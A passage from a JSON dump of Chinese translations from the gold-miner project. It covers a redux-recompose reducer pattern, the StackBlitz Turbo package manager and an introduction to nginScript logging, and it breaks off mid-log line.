});\n    const response = await SoccerService.getPitches({ club_id: clubId });\n    if (response.ok) {\n      dispatch(privateActionCreators.getPitchesSuccess(response.data));\n    } else {\n      dispatch(privateActionCreators.getPitchesFailure(response.problem));\n    }\n  }\n};\n\nexport default actionCreators;\n```\n\n### 对象即过程\n\n某天，我的同事建议：\n\n’要不试试把 `switch` 语句改成访问对象属性的形式？这样之前 `switch` 的条件就都能抽离成单个的函数了，也方便测试。‘\n\n再者，[Dan Abramov 也说过](https://github.com/reactjs/redux/issues/929#issuecomment-150314197)：\n__Reducer 就是一个很普通的函数，你可以抽出一些代码独立成函数，也可以在里面调用其他的函数，具体实现可以自由发挥。__\n\n有了这句话我们也就放心开干了，于是开始探索有没有更加优雅的方式编写 reducer 的代码。最终，我们得出了这么一种写法：\n\n```javascript\nconst reducerDescription = {\n  [actions.GET_MATCHES]: (state, action) => ({ ...state, matchesLoading: true }),\n  [actions.GET_MATCHES_SUCCESS]: (state, action) => ({\n    ...state,\n    matchesLoading: false,\n    matchesError: null,\n    matches: action.payload\n  }),\n  [actions.GET_MATCHES_FAILURE]: (state, action) => ({\n    ...state,\n    matchesLoading: false,\n    matchesError: action.payload\n  }),\n  [actions.GET_PITCHES]: (state, action) => ({ ...state, pitchesLoading: true }),\n  [actions.GET_PITCHES_SUCCESS]: (state, action) => ({\n    ...state,\n    pitchesLoading: false,\n    pitchesError: null,\n    pitches: action.payload\n  }),\n  [actions.GET_PITCHES_FAILURE]: (state, action) => ({\n    ...state,\n    pitchesLoading: false,\n    pitchesError: action.payload\n  })\n};\n```\n\n```javascript\nfunction createReducer(initialState, reducerObject) {\n  return (state = initialState, action) => {\n    (reducerObject[action.type] && reducerObject[action.type](state, action)) || state;\n  };\n}\n\nexport default createReducer(initialState, reducerDescription);\n```\n\n__SUCCESS__ 和 __FAILURE__ 的 action 和之前看来没啥区别，只是 action 的用法变了 —— 这里将 action 和操作它对应的 state 里的那部分数据的函数进行了一一对应。例如，我们分发了一个 action.aList 来修改一个列表的内容，那么‘aList’就是找到对应的 reducer 函数的关键词。\n\n### 靶向化 action\n\n有了上面的尝试，我们不妨更进一步思考：何不站在 action 的角度来定义 state 的哪些部分会被这个 action 影响？\n\n[ Dan 这么说过：](https://github.com/reactjs/redux/issues/1167#issuecomment-166642708)\n\n__我们可以把 action 想象成一个“差使”，action 不关心 state 的变化 —— 那是 reducer 的事__。\n\n那么，为什么就不能反其道而行之呢，如果 action 就是要去管 state 的变化呢？有了这种想法，我们就能引申出 __靶向化 action__ 的概念了。何谓靶向化 action？就像这样：\n\n```javascript\nconst privateActionCreators = {\n  getMatchesSuccess: matchList => ({\n    type: actions.GET_MATCHES_SUCCESS,\n    payload: matchList,\n    target: 'matches'\n  }),\n  getMatchesError: error => ({\n    type: actions.GET_MATCHES_ERROR,\n    payload: error,\n    target: 'matches'\n  }),\n  getPitchesSuccess: pitchList => ({\n    type: actions.GET_PITCHES_SUCCESS,\n    payload: pitchList,\n    target: 'pitches'\n  }),\n  getPitchesFailure: error => ({\n    type: actions.GET_PITCHES_FAILURE,\n    payload: error,\n    target: 'pitches'\n  })\n};\n```\n\n### effects 的概念\n\n如果你以前用过 [redux saga](https://github.com/redux-saga/redux-saga) 的话，应该对 effects 有点印象，但这里要讲的还不是这个 effects 的意思。\n\n这里讲的是将 reducer 和 reducer 对 state 的操作进行解耦合，而这些抽离出来的操作（即函数）就称为 __effects__ —— 这些函数具有幂等性质，而且对 state 的变化一无所知：\n\n```javascript\nexport function onLoading(selector = (action, state) => true) {\n  return (state, action) => ({ ...state, [`${action.target}Loading`]: selector(action, state) });\n}\n\nexport function onSuccess(selector = (action, state) => action.payload) {\n  return (state, action) => ({\n    ...state,\n    [`${action.target}Loading`]: false,\n    [action.target]: selector(action, state),\n    [`${action.target}Error`]: null\n  });\n}\n\nexport function onFailure(selector = (action, state) => action.payload) {\n  return (state, action) => ({\n    ...state,\n    [`${action.target}Loading`]: false,\n    [`${action.target}Error`]: selector(action, state)\n  });\n}\n```\n\n注意上面的代码是如何使用这些 effects 的。你会发现里面有很多 selector 函数，它主要用来从封装对象中取出你需要的数据域：\n\n```javascript\n// 假设 action.payload 的结构是这个样子: { matches: [] }; \nconst reducerDescription = {\n  // 这里只引用了 matches 数组，不用处理整个 payload 对象\n  [actions.GET_MATCHES_SUCCESS]: onSuccess(action => action.payload.matches)\n};\n```\n\n有了以上思想，最终处理函数的代码变成这样：\n\n```javascript\nconst reducerDescription = {\n  [actions.MATCHES]: onLoading(),\n  [actions.MATCHES_SUCCESS]: onSuccess(),\n  [actions.MATCHES_FAILURE]: onFailure(),\n  [actions.PITCHES]: onLoading(),\n  [actions.PITCHES_SUCCESS]: onSuccess(),\n  [actions.PITCHES_FAILURE]: onFailure()\n};\n\nexport default createReducer(initialState, reducerDescription);\n```\n\n当然，我并不是这种写法的第一人：\n\n![](https://i.loli.net/2017/12/26/5a41ed61266b0.jpg)\n\n到这一步你会发现代码还是有重复的。针对每个基础 action（有配对的 SUCCESS 和 FAILURE），我们还是得写相应的 SUCCESS 和 FAILURE 的 effects。 那么，能否再做进一步改进呢？\n\n### 你需要 Completer\n\nCompleter 可以用来抽取代码中重复的逻辑。所以，用它来抽取 __SUCCESS__ 和 __FAILURE__ 的处理代码的话，代码会从：\n\n```javascript\nconst reducerDescription: {\n  [actions.GET_MATCHES]: onLoading(),\n  [actions.GET_MATCHES_SUCCESS]: onSuccess(),\n  [actions.GET_MATCHES_FAILURE]: onFailure(),\n  [actions.GET_PITCHES]: onLoading(),\n  [actions.GET_PITCHES_SUCCESS]: onSuccess(),\n  [actions.GET_PITCHES_FAILURE]: onFailure(),\n  [actions.INCREMENT_COUNTER]: onAdd()\n};\n\nexport default createReducer(initialState, reducerDescription);\n```\n变成以下更简洁的写法：\n\n```javascript\nconst reducerDescription: {\n  primaryActions: [actions.GET_MATCHES, actions.GET_PITCHES],\n  override: {\n    [actions.INCREMENT_COUNTER]: onAdd()\n  }\n}\n\nexport default createReducer(initialState, completeReducer(reducerDescription))\n```\n\n`completeReducer` 接受一个 reducer description 对象，它可以帮基础 action 扩展出相应的 SUCCESS 和 FAILURE 处理函数。同时，它也提供了重载机制，用于配制非基础 action 。\n\n根据 SUCCESS 和 FAILURE 这两种情况定义状态字段也比较麻烦，对此，可以使用 `completeState` 自动为我们添加 loading 和 error 这两个字段：\n\n```javascript\nconst stateDescription = {\n  matches: [],\n  pitches: [],\n  counter: 0\n};\n\nconst initialState = completeState(stateDescription, ['counter']);\n```\n\n还可以自动为 action 添加配对的 `SUCCESS` 和 `FAILURE`：\n\n```javascript\nexport const actions = createTypes(\n  completeTypes(['GET_MATCHES', 'GET_PITCHES'], ['INCREMENT_COUNTER']),\n  '@@SOCCER'\n);\n```\n\n这些 completer 都有第二个参数位 —— 用于配制例外的情况。\n\n鉴于 SUCCESS-FAILURE 这种模式比较常见，目前的实现只会自动加 SUCCESS 和 FAILURE。不过，后期我们会支持用户自定义规则的，敬请期待！\n\n### 使用注入器（Injections）处理异步操作\n\n那么，异步 action 的支持如何呢？\n\n当然也是支持的，多数情况下，我们写的异步 action 无非是从后端获取数据，然后整合到 store 的状态树中。\n\n写法如下：\n\n```javascript\nimport SoccerService from '../services/SoccerService';\n\nexport const actions = createTypes(completeTypes['GET_MATCHES','GET_PITCHES'], '@SOCCER');\n\nconst actionCreators = {\n  getMatches: () =>\n    createThunkAction(actions.GET_MATCHES, 'matches', SoccerService.getMatches),\n  getPitches: clubId =>\n    createThunkAction(actions.GET_PITCHES, 'pitches', SoccerService.getPitches, () => clubId)\n};\n\nexport default actionCreators;\n```\n\n思路和刚开始是一样的：加载数据时先将 loading 标志置为 `true` ，然后根据后端的响应结果，选择分发 __SUCCESS__ 还是 __FAILURE__ 的 action。使用这种方法，我们抽取出了大量的重复逻辑，也不用再创建 `privateActionsCreators` 对象了。\n\n但是，如果我们想要在调用和分发过程中间执行一些自定义代码呢？\n\n我们可以使用 __注入器（injections）__ 来实现，在下面的例子中我们就用这个函数为 baseThunkAction 添加了一些自定义行为。\n\n这两个例子要传达的思想是一样的：\n\n```javascript\nconst actionCreators = {\n  fetchSomething: () => async dispatch => {\n    dispatch({ type: actions.FETCH });\n    const response = Service.fetch();\n    if (response.ok) {\n      dispatch({ type: actions.FETCH_SUCCESS, payload: response.data });\n      dispatch(navigationActions.push('/successRoute');\n    } else {\n      dispatch({ type: actions.FETCH_ERROR, payload: response.error });\n      if (response.status === 404) {\n        dispatch(navigationActions.push('/failureRoute');\n      }\n    }\n  }\n}\n```\n\n```javascript\nconst actionCreators = {\n  fetchSomething: () => composeInjections(\n    baseThunkAction(actions.FETCH, 'fetchTarget', Service.fetch),\n    withPostSuccess(dispatch => dispatch(navigationActions.push('/successRoute'))),\n    withStatusHandling({ 404: dispatch => dispatch(navigationActions.push('/failureRoute')) })\n  )\n}\n```\n\n* * *\n\n以上是对这个库的一些简介，详情请参考 [https://github.com/Wolox/redux-recompose](https://github.com/Wolox/redux-recompose)。\n安装姿势：\n\n```\nnpm install --save redux-recompose\n```\n\n感谢 [Andrew Clark](https://github.com/acdlite)，他创建的 [recompose](https://github.com/acdlite/recompose) 给了我很多灵感。同时也感谢 redux 的创始人 [Dan Abramov](https://github.com/gaearon)，他的话给了我很多启发。\n\n当然，也不能忘了同在 Wolox 里的战友们，是大家一起合力才完成了这个项目。\n\n欢迎各位积极提出意见，如果在使用中发现任何 bug，一定要记得在 GitHub 上给我们反馈，或者提交你的修复补丁，总之，我希望大家都能积极参与到这个项目中来！\n\n在以后的文章中，我们将会讨论更多有关 effects、注入器（injectors）和 completers 的话题，同时还会教你如何将其集成到 [apisauce](https://github.com/infinitered/apisauce) 或 [seamless-immutable](https://github.com/rtfeldman/seamless-immutable) 中使用。\n\n希望你能继续关注！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md",
    "content": "> * 原文地址：[Introducing Turbo: 5x faster than Yarn & NPM, and runs natively in-browser 🔥](https://medium.com/@ericsimons/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser-cc2c39715403)\n> * 原文作者：[Eric Simons](https://medium.com/@ericsimons?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md](https://github.com/xitu/gold-miner/blob/master/TODO/introducing-turbo-5x-faster-than-yarn-npm-and-runs-natively-in-browser.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[萌萌](https://github.com/yanyixin)、[noahziheng](https://github.com/noahziheng)\n\n# 介绍 Turbo：比 Yarn 和 NPM 快 5 倍，可以在本地浏览器中运行🔥\n![](https://cdn-images-1.medium.com/max/800/1*ZM5-cr-PRyZxEV7gegcU_g.png)\n\n**注意** ：这是我在 12 月6 日在谷歌山景学校演讲的一部分，[**欢迎加入！**](https://www.meetup.com/modernweb/events/244544544/)\n\n在经过四个月的努力，我很兴奋的宣布 **Turbo** 诞生了！🎉\n\nTurbo 是一个速度极快的 NPM 客户端，最初是为了 [StackBlitz](https://stackblitz.com) 创建的：\n\n- **安装包的速度最少是 Yarn 和 NPM 的五倍 🔥**\n\n- **将 **`node_modules`** 的大小减少到两个数量级😮**\n- **用于生产级可靠性的多层冗余** 💪\n- **完全在 Web 浏览器中工作，能够拥有闪电般的开发环境 ⚡️**\n\n![在 StackBlitz.com 中使用 Turbo 安装 NPM 包的实际速度](https://cdn-images-1.medium.com/max/800/1*flSBzkA6MwhaGdXnHE9B1g.gif)\n\nActual installation speed of NPM packages using Turbo on [StackBlitz.com](https://stackblitz.com/)\n\n在 [StackBlitz.com](https://stackblitz.com/) 中使用 Turbo 安装 NPM 包的实际速度\n### 为什么呢？\n\n当我们刚开始开发 [StackBlitz](https://medium.com/@ericsimons/stackblitz-online-vs-code-ide-for-angular-react-7d09348497f4) 的时候，我们的目标就是创建一个在线的 IDE，这个 IDE 可以让你感觉和超级跑车的轮子一样快：你只需要接受瞬间响应命令的喜悦即可。\n\n\n和 Turbo 不同的是，NPM 和 Yarn 是本地的。因为设计 NPM 和 Yarn 就是用来处理大量依赖后台代码库，需要本地二进制或和其他资源。他们的安装速度和超级跑车的速度比就是卡车的速度。但前端代码很少有这种大规模的依赖，难道有什么问题吗？当然，这些依赖仍然会作为 devDependencies 和 sub-dependencies 进入安装流程，并且依旧被下载和引用。将形成那个臭名昭著的黑洞：`node_modules`。 \n\n\n![Dank, relevant meme](https://cdn-images-1.medium.com/max/600/1*liNzl2MQKqg4tLMCF4jY5g.png)\n\n\n为什么 NPM 不在本地的浏览器中工作，这是问题的关键。在 `node_modules` 文件夹中解析、下载、提取百兆字节（或千兆字节）的典型前端项目是一个挑战，在浏览器中并不适合这样做。此外，这也证明了为什么这个问题的服务器端解决方法是 [慢、不可靠、并且成本较高的](https://github.com/unpkg/unpkg/issues/35#issuecomment-317128917)。\n\n> 所以，如果 NPM 本身不能在浏览器端运行，那我们从底层建一个新的 NPM 客户端会怎么样呢？\n\n\n### 解决方案：一个专门为 Web 构建的更聪明、更快的包管理器📦\nTurbo 的速度和效率大部分是通过利用与现代前端应用程序相同的技术来完成的，他们使用了 snappy performance—tree-shaking、懒加载和启用了 gzip 压缩的普通 XHR/fetch 请求。\n\n#### **按需检索文件** 🚀\nTurbo 很巧妙的只检索 main、typings、和其他相关文件需要的文件而不是下载整个压缩包。无论是个人项目还是大型项目，这都减轻了惊人的负载。\n\n![ RxJS 和 RealWorld Angular 总有效载荷大小的比较](https://cdn-images-1.medium.com/max/800/1*zl-KV3eL7lSnAI45Hb_Rcw.png)\n\n [RxJS](http://npmjs.com/package/rxjs) 和 [RealWorld Angular](https://github.com/gothinkster/angular-realworld-example-app) 总有效载荷大小的比较\n\n那么如果你的重要文件并没有被主文件引用会怎么样呢？例如一个 [Sass 文件\n](https://stackblitz.com/edit/angular-material?file=theme.scss)，不用担心，Turb 按需进行懒加载并且一直保存以便将来使用，这个和微软新推出的 [GVFS Git protocol](https://blogs.msdn.microsoft.com/devops/2017/02/03/announcing-gvfs-git-virtual-file-system/) 工作原理有些类似。\n\n#### 具有多种故障转移策略的健壮缓存 🏋️\n\n我们最近推出了一个具有 Turbo 特征的 CDN，所有的 NPM 包都在一个使用 gzip 打包的 JSON 请求中，大大提高了包安装的速度。这个概念类似于 npm 的 tarball，它合并了所有的文件并且压缩他们。然而，Turbo 的缓存智能的只包含你项目需要的文件并压缩他们。\n\n\n每一个 Turbo 的客户端都是在浏览器中独立运行的，并且如果你引用的包文件在我们的缓存中，那么会直接从 [jsDelivr 提供的大量的 CDN 资源](https://www.jsdelivr.com/) 中自动按需下载。如果 jsDelivr 访问不了了怎么办？不要担心，会自动替换成 [Unpkg CDN](https://unpkg.com)，提供三层超可靠的独立的包安装工具👌。\n\n#### 快如闪电的依赖解决方案 ⚡️\n\n为了确保最小的有效负载大小，Turbo 使用一个定制的解析算法，在可能的情况下积极解决通用包版本。这也是出奇的快和冗余：无服务版本的解析器有权使用 NPM 在内存中的整个数据集并且**在 85ms 内**解析任何 package.json 文件。Turbo 在连接无服务器版本的解析器时有任何的问题，即便失败的时候也可以优雅的在浏览器中完整运行并且保留所有用于解决问题所必需的元数据。\n\n在客户端完成依赖管理也会带来一些新的令人兴奋的可能性，比如只需单击一次就可以安装缺少的对等依赖关系 😮:\n\n\n![](https://cdn-images-1.medium.com/max/800/1*BTe1Q-cZda_1dB3H0wROzQ.gif)\n\n因为没有人读这些 NPM 在控制台输出的警告 😜\n\n#### Turbo可以大规模使用的证据 📈\n\nTurbo 目前能够可靠地处理每个月百万级别的请求数，并且开销可以忽略不计。我们很兴奋的宣布：Google 的 Angular 团队最近选择 StackBlitz 来支持他们文档中的实例，而有数以百万计的开发人员在使用他们的文档。\n\n### 技术预览 🙌\n\nTurbo 是依赖于 [StackBlitz.com](https://stackblitz.com) 的，并且通过技术预览阶段我们将会运行大量的测试和测速，检验效能和可靠性的改进，你的每一个反馈都是至关重要的，所以在使用中遇到问题，不假思索的向我们 [提 issues](https://github.com/stackblitz/core/issues) 和在我们的 [Discord 社区](http://discord.gg/stackblitz)里和我们沟通🍻\n\n\n然而 Turbo 最初是为生产级的使用而设计的，但在现实的 IDE（[stackblitz](https://stackblitz.com)）中，Turbo 已经找到了少数的在线应用场所，在社区，人们已经开始设计一种方法，使用 Turbo 使脚本类型与模块相等（很酷有没有！！！），我们迫不及待地想看到人们提出的其他惊人的东西，所以，一旦我们的 API 更加完善，我们会将其在[**我们的 Github**](https://github.com/stackblitz/core) 中完全开源（和 StackBlitz 的其他部分一起）以供全世界人们使用 🤘。\n\n最后，我们非常感谢 Google 的 Angular 团队在我们的技术下的赌注，同时感谢 Google Cloud 团队将他们令人惊叹的服务赞助给 Turbo 使用！❤️\n\n#### 一如既往，请随时通过 Tweet 联系我 \n有任何的疑问、反馈、想法等等都可以通过 [@ericsimons40](https://twitter.com/ericsimons40) 或者 @[stackblitz](https://twitter.com/stackblitz) 联系我 ：）\n\n另外，如果你有兴趣支持我们的工作，请考虑订阅 [Thinkster Pro](https://thinkster.io/pro)！我们正在创建一个新系列关于我们是如何创建 Turbo 和 StackBlitz 的，以及修改我们的目录：）\n\n我希望你们能看下我 12 月 6 日在 [Mountain View 的视频](https://www.meetup.com/modernweb/events/244544544/)。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/introduction-nginscript.md",
    "content": "> * 原文地址：[Introduction to nginScript](https://www.nginx.com/blog/introduction-nginscript/)\n> * 原文作者：[Liam Crilly](https://www.nginx.com/blog/author/liam-crilly/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [1992chenlu](https://github.com/1992chenlu)\n> * 校对者：[mnikn](https://github.com/mnikn)、[imink](https://github.com/imink)\n\n# nginScript 入门\n\n\n![](https://cdn.wp.nginx.com/wp-content/uploads/2017/03/introduction-to-nginScript-1000x600.jpg)\n\n### **在 HTTP 请求中发挥出 JavaScript 的强大力量和便捷优势**\n\n**编者的话 – 这是关于 nignScript 这个系列的博文的第一篇。本文中讨论了 NGINX 公司选择自己实现 JavaScript 的原因，并且提供了一个简单的使用案例。探索更多的使用案例，请阅读其他的博文：**\n\n-  [**nginScript 入门**](https://www.nginx.com/blog/introduction-nginscript/)\n- [**使用 nginScript 逐步迁移客户端到新的服务器**](https://www.nginx.com/blog/nginscript-progressively-transition-clients-to-new-server/)\n- 在“Galera 集群负载均衡过程中 SQL 方法的日志记录”中的 [**nginScript 日志记录进阶**](https://www.nginx.com/blog/scaling-mysql-tcp-load-balancing-nginx-plus-galera-cluster/#nginscript-logging-galera)\n- [**使用 nginScript 实现基于数据遮蔽的用户隐私保护**](https://www.nginx.com/blog/data-masking-user-privacy-nginscript/)\n\n自从 nginScript [2015 年 9 月](https://www.nginx.com/blog/nginscript-new-powerful-way-configure-nginx/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)上线以来，作为一个实验性的模块，持续有新功能和语言的核心支持被加入。随着 NGINX Plus R12 的推出，我们很荣幸的宣布 nginScript 现在已经是一个在 NGINX 和 NGINX Plus 中可被广泛使用的稳定版模块了。\n\nnignScript 是一个只适用于 NGINX 和 NGINX Plus 的 JavaScript 实现，它是专为服务端用例和每次请求处理而设计的。它通过 JavaScript 代码扩展了 NGINX 的配置语法，为复杂配置提供了解决方案。\n\nnignScript 可供 HTTP 和 TCP/UDP 两种协议使用，用例的种类广泛，例如：\n\n- 根据正常情况下 NGINX 变量无法使用的数值，生成自定义的日志格式\n- 实现新的负载均衡算法\n- 为应用层粘滞会话（sticky sessons）解析 TCP/UDP 协议\n\n当然，nignScript 可以做更多，也有更多可能性有待实现。虽然我们已经宣布 nignScript 能被广泛地应用，并且已经推荐在生产环境使用 nignScript，但我们还有一些在计划中的改良，用来支持更多的用例：\n\n- 查看并修改 HTTP 请求／响应的 body（现已支持 TCP/UDP）\n- 在 nginScript 代码中发出 HTTP 子请求（subrequests）\n- 给 HTTP 请求写 authentication handlers（现已支持 TCP/UDP）\n- 文件读写\n\n在深入讨论 nginScript 之前，我们先澄清一下两个普遍存在的误解。\n\n## nginScript 不是 Lua\n\n多年来，NIGINX 社区创建了一些程序化扩展。目前，Lua 是其中最流行的；使用时，它是一个[ NGINX 模块](https://github.com/openresty/lua-nginx-module)，对于 NGINX Plus 来说，它是一个[经认证的第三方模块](https://www.nginx.com/products/technical-specs/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)。Lua 模块及其插件库提供了与 NGINX 内核的深度整合和一系列丰富的功能，包括一个 Redis 的驱动程序。\n\nLua 是一个强大的脚本语言。但是，就采用率来看，它仍是有一定缺陷的。并且，它也不算一个前端工程师或者开发运维工程师必备技能。\n\nnginScript 没有企图取代 Lua，并且 nginScript 还有很长的路要走才能与 Lua 相提并论。nignScript 的目标是给广大 NIGINX 社区的人民群众，提供一个可以基于一种流行的编程语言的、程序化配置的解决方案。\n\n## nginScript 不是 Node.js\n\nnginScript 的目标并不是将 NGINX 或者 NGINX Plus 变成一个应用服务器。简言之，nginScript 的功能相当于中间件，因为脚本的执行是发生于客户端与内容之间的。技术上讲，Node.js 与 nginScript 和 NGINX（或 NGINX Plus）的结合体有两个共同点，那就是[事件驱动的架构](https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale/?utm_source=introduction-nginscript&amp;utm_medium=blog&amp;utm_campaign=Core+Product)，以及，都将 JavaScript 作为编程语言，仅此而已。\n\nNode.js 使用 Google V8 JavaScript 引擎，而 nginScript 则完全是 ECMAScript 标准的实现，专为 NGINX 和 NGINX Plus 设计。Node.js 内置 JavaScript 虚拟机，用来执行垃圾回收和内存管理的操作，而 nginScript 则会对每一个请求都初始化一个 JavaScript 虚拟机和相应的内存空间，并在请求被完成后释放内存空间。\n\n## 作为服务端语言的 JavaScript\n\n如上所述，nginScript 是 JavaScript 语言的标准实现。而目前，所有其他的 JavaScript 运行引擎，都是以运行在网络浏览器为目的而设计的。客户端代码运行与服务端的代码运行有许多本质上的不同 —— 从系统资源的可利用性，到可能存在的并发运行的数量。\n\n我们决定实现自己的 JavaScript runtime，一方面来满足服务端运行的需要，另一方面这种方式可以与 NGINX 请求处理的架构进行优雅适配。以下是我们的设计原则：\n\n- **运行环境与请求有相同的生命周期**\n\nnginScript 使用单线程的字节码执行，这么设计是为了快速的初始化和垃圾清理。对每个请求，都有对应的运行环境被初始化。初始启动是很迅速的，因为初始化没有用到复杂的状态或者帮助类。内存池的消耗在运行的期间逐渐累积，在运行完成的时候被释放。这种内存管理的设计无需为单个对象跟踪和释放内存，或使用垃圾收集器。\n\n- **非阻塞式代码执行**\n\nNGINX 和 NGINX Plus 的事件驱动模式会调度每个 nginScript 运行环境的运行。当一个 nginScript 规则执行一个阻塞操作时（比如读取网络数据，或者发起外部的子请求），NGINX 和 NGINX Plus 会将那个 JavaScript 虚拟机挂起，并在那个操作结束时，重新安排它的运行。这意味着，你可以将规则写的简单、线性，而 NGINX 和 NGINX Plus 在调度它们的时候也不会被阻塞。\n\n- **按照我们的需要实现语言**\n\nJavaScript 的规范是按 [ECMAScript](https://en.wikipedia.org/wiki/ECMAScript) 标准定义的。nginScript 使用 [ECMAScript 5.1](http://www.ecma-international.org/ecma-262/5.1/)，和一部分 [ECMAScript 6](http://www.ecma-international.org/ecma-262/6.0/) 以实现数学相关的功能。实现自己的 JavaScript runtime 让我们能够更自由的调整服务端用例的语言支持的优先级，并忽视掉我们不需要的部分。我们有一个[已经提供支持和尚未提供支持的语言要素的列表](http://nginx.org/en/docs/njs_about.html)。\n\n- **与请求处理阶段的紧密结合**\n\nNGINX 和 NGINX Plus 的请求处理分为不同的阶段。配置指令通常在一个特定的阶段被执行，原生的 NGINX 模块通常会在某个特定阶段，查看或者修改一个请求。nginScript 会将一些处理阶段暴露出去，通过配置指令，将控制权交给运行时的 JavaScript 代码。这种整合配置规则的方式，同时保证了原生 NGINX 模块的功能性和灵活性，并让其 JavaScript 实现代码变得简单。\n\n下面的表格指出了目前可被 nginScript 利用的处理阶段，还有相应的配置指令。\n\n|处理阶段|HTTP 模块|流 (TCP/UDP) 模块|\n|------|-------|-------|\n|访问 – 网络连接访问控制|❌|✅ [js_access](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_access)|\n|预读（Pre-read） – 读／写 body|❌|✅ [js_preread](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_preread)|\n|过滤器 – 在代理中读／写 body|❌|✅ [js_filter](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_filter)|\n|内容 – 向客户端发送响应|✅ [js_content](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_content)|❌|\n|日志/变量 – 应需评估|✅ [js_set](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)|✅ [js_set](http://nginx.org/en/docs/stream/ngx_stream_js_module.html#js_set)|\n\n## nginScript 入门 —— 一个真实的例子\n\nnginScript 可以作为一个模块，可以被编译到一个开源的 NGINX 二进制文件里，或者动态地载入 NGINX 或 NGINX Plus。本文的结尾处，有在 NGINX 和 NGINX Plus 中[开始使用 nginScript ](#nginscript-enable)的说明。\n\n在这个例子中，我们使用 NGINX 或 NGINX Plus 作为简单的反向代理，并使用 nginScript 以一种特定的格式构建访问日志记录。\n\n- 包括客户端发来的请求文件头（request headers）\n- 包括后端返回的响应文件头（response headers）\n- 使用键值对，以便让日志文件处理工具（例如现在被称作 Elastic Stack 的 ELK Stack）高效的搜索和摄入日志记录\n\n这个例子的 NGINX 配置十分简单：\n\n```\nFailed loading gist \nhttps://gist.github.com/49e2f6f6b0a36ed9846dd63cddbd742a.json: timeout\n```\n\n如你所见，nginScript 代码与配置规则并不一样。我们用[`js_include`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_include) 指令来指定包含我们所有的 JavaScript 代码的文件。[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set) 指令定义了一个新的 NGINX 变量`$access_log_with_headers`，还有填充这个变量所需的 JavaScript 函数。[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令定义了一种名为 **键值对（kvpairs）** 的新格式，它使用`$access_log_with_headers`变量的值输出每一行日志。\n\n[`server`](http://nginx.org/en/docs/http/ngx_http_core_module.html#server)指令定义了一个简单的 HTTP 反向代理，这个反向代理可以将所有的请求转发给一个新地址，例如 **http://www.example.com** 。[`access_log`](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log)指令可以用来指定所有以 **键值对（kvpairs）** 格式被录入日志的请求。\n\n我们现在来看一下用来准备每一行日志格式的 JavaScript 代码。我们有两个函数：\n\n- `kvHeaders` - 一个将`headers`对象转换为键值对的帮助函数。所有的帮助函数，必须在调用他们的函数前面被声明。\n- `kvAccessLog` - 这个函数定义了 NGINX 配置中的 `js_set` 指令。它接收两个对象[参数（arguments）](http://nginx.org/en/docs/http/ngx_http_js_module.html#arguments)，它们分别代表了客户端请求（`req`），与后端服务器的响应（`res`）。像它们这样的内置对象，也可以被传递到所有 HTTP 的 nginScript 函数中。\n\n正如在`kvAccessLog`函数中看到的那样，返回值才会被传递到[`js_set`](http://nginx.org/en/docs/http/ngx_http_js_module.html#js_set)配置指令。要记住， NGINX 变量是应需评估的，这也就意味着被`js_set`定义的 JavaScript 函数只有在变量的值被需要的时候才会执行。在这个例子中，`$access_log_with_headers`被[`log_format`](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format)指令使用，因此`kvAccessLog()`是在输出日志的时候被执行的。而在[`map`](http://nginx.org/en/docs/http/ngx_http_map_module.html#map)指令或者[`rewrite`](http://nginx.org/en/docs/http/ngx_http_rewrite_module.html#rewrite)指令中被用到的变量，会在更早的处理阶段出发对应的 JavaScript 代码的执行。\n\n我们通过传递一个请求通过我们的反向代理的方式，来观察这种增强版的 nginScript 日志记录解决方案，和它最终产生的日志文件记录。\n\n```\n$ curl http://127.0.0.1/\n$ tail --lines=1 /var/log/nginx/access_headers.log\n2017-03-14T14:36:53+00:00 client=127.0.0.1 method=GET uri=/ status=200 